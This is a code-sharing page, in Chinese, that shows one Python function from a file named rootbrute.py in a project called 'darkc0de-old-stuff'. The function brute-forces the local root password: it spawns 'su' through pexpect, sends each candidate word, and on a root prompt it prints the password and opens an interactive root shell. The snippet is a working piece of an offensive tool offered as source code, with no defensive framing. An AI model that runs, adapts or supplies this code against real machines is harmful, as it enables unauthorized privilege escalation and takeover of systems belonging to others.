rootbrute.py 文件源码

python
阅读 19 收藏 0 点赞 0 评论 0

项目:darkc0de-old-stuff 作者: tuwid 项目源码 文件源码
def brute(word): 
    print "Trying:",word 
    child = pexpect.spawn ('su') 
    child.expect ('Password: ') 
    child.sendline (word) 
    i = child.expect (['.+\s#\s',LOGIN_ERROR]) 
    if i  == 0: 
        print "\n\t[!] Root Password:",word 
        child.sendline ('whoami') 
        print child.before 
        child.interact() 
    #if i == 1: 
        #print "Incorrect Password"
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号